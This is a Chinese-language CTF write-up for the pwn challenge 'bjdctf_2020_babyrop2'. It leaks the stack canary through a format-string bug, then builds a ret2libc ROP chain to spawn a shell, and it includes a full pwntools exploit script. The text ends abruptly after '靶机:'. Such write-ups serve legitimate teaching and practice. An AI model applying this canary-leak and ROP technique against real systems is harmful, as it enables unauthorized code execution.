# bjdctf_2020_babyrop2
# 1. 查看程序
题目开启了 canary,不能随意进行栈溢出
ida 反汇编查看
mian()
看到有三个函数
init()
输出字符串
gift()
看到有个 printf()
,加上 canary
联想到 格式化字符串漏洞
,用来泄露 canary 的值,然后再进行栈溢出
vuln()
看到 read()
可以进行溢出
# 2. 查看 canary 的值
输入点参数在栈上的相对位置(找偏移量),之前我都是输入 aaa %08x %08x……%08x 这样的字符串去找偏移的,这次不可以(限定了 6 个宽度的的输入),换了一种方法,输入 %n$p
,n 是偏移量,配上 %$p
就能定位到偏移量处,输出该位置上的内容
此处一个一个试发现偏移是 6 (相对我们输入数据的位置),输入值: aa%6$p
通过我们输入的值在栈上的位置往后查找,发现下一个位置有奇怪的一串数字,认定它为 canary
的值(要在栈上),而且它在 rbp 的上面
接着确定一下 vuln()
函数中 canary
位置,发现 rbp 位置与上面相同, canary
也在上面,也能通过 rsp
后面的 626262(bbb), 确定我们的输入位置
发现 canary
是距离我们输入位置 0x18
处,绕过 canary
后可以进行构造 ret2libc
如果相对栈起始偏移不变,那么我们输入的值也不是在栈的起始位置,,并不是,因为我们输入的值是在起始处,只是利用了格式化字符串......(此处为为我没想明白的地方:为什么我们输入的格式化字符串的值是在栈上有偏移的,而后面的栈溢出却是从栈顶开始的)
# 3.exp
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
p=process('./bjdctf_2020_babyrop2') | |
e=ELF('./bjdctf_2020_babyrop2') | |
#p=remote('node4.buuoj.cn',25714) | |
puts_plt=e.plt["puts"] | |
puts_got=e.got["puts"] | |
read_got=e.got["read"] | |
printf_got=e.got["printf"] | |
rdi_ret=0x400993 | |
vuln=0x0400887 | |
p.recvuntil(b"help u!\n") | |
payload1=str("%7$p") | |
p.sendline("%7$p") | |
p.recvuntil("0x") | |
stroy=int(p.recv(16),16) | |
p.recvuntil(b"story!\n") | |
payload=b"a"*0x18+p64(stroy)+p64(0)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln) | |
p.send(payload) | |
puts=u64(p.recv(6).ljust(8,b'\x00')) | |
#p.recvuntil("help u!\n") | |
p.recvuntil(b"story!\n") | |
libc=LibcSearcher("puts",puts) | |
libc_base=puts-libc.dump("puts") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
#payload2=p32()+p32()+p32()+p32() | |
payload2=b"a"*0x18+p64(stroy)+p64(0)+p64(rdi_ret)+p64(binsh)+p64(system) | |
p.sendline(payload2) | |
p.interactive() |
【注意】
远程查找 libc 库无法打通本地(和靶机查找出来的不同)
靶机: